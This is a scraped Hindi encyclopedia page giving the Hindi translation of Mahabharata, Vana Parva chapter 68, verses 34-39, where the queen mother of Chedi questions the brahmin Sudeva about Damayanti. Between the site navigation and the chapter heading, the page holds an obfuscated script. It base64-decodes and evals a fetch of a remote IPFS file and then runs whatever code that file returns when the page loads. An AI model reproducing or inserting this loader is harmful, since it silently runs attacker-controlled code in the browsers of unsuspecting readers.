महाभारत वन पर्व अध्याय 68 श्लोक 34-39

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ
गणराज्य इतिहास पर्यटन भूगोल विज्ञान कला साहित्य धर्म संस्कृति शब्दावली विश्वकोश भारतकोश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

अष्टषष्टितम (68) अध्‍याय: वन पर्व (नलोपाख्यान पर्व)

महाभारत: वन पर्व: अष्टषष्टितम अध्याय: श्लोक 34-39 का हिन्दी अनुवाद

उसने अपनी माता से जाकर कहा-‘मां ! सैरन्ध्री एक ब्राह्मण से मिलकर बहुत हो रही है। यदि तुम ठीक समझो तो इसका कारण जानने की चेष्टा करो’। तदनन्तर चेदिराज की माता उस समय अन्तःपुर से निकलकर उसी स्थानपर गयीं, यहां राजकन्या दमयन्ती ब्राह्मण के साथ खड़ी थी। युधिष्ठिर ! तब राजमाता ने सुदेव को बुलाकर पूछा-‘विप्रवर ! जान पड़ता है, तुम इसे जानते हो। बताओ, यह सुन्दरी युवती किसकी पत्नी अथवा किसकी पुत्री है? यह सुन्दर नेत्रोंवाली सुन्दरी अपने भाई-बन्धुओं अथवा पति से किस प्रकार विलग हुई है, यह सती-साध्वी नारी ऐसी दुरवस्था में क्यों पड़ गयी ? ‘ब्रह्मन ! इस देवरूपिणी नारी के विषय में यह सारा वृत्तान्त में पूर्ण रूप से सुनना चाहती हूं। मैं जो कुछ पुछती हूं, वह मुझे ठीक-ठीक बताओ’। राजन् ! राजमाता के इस प्रकार पूछने पर वे द्विजश्रेष्ठ सुदेव सुखपूर्वक बैठकर दमयन्ती का यथार्थ वृत्तान्त बताने लगे।

इस प्रकार श्रीमहाभारत वनपर्व के अन्तर्गत नलोपाख्यानपर्व में दमयन्ती-सुदेव संवादविषयक अरसठवां अध्याय पूरा हुआ।


« पीछे आगे »

टीका टिप्पणी और संदर्भ

संबंधित लेख

साँचा:सम्पूर्ण महाभारत अभी निर्माणाधीन है।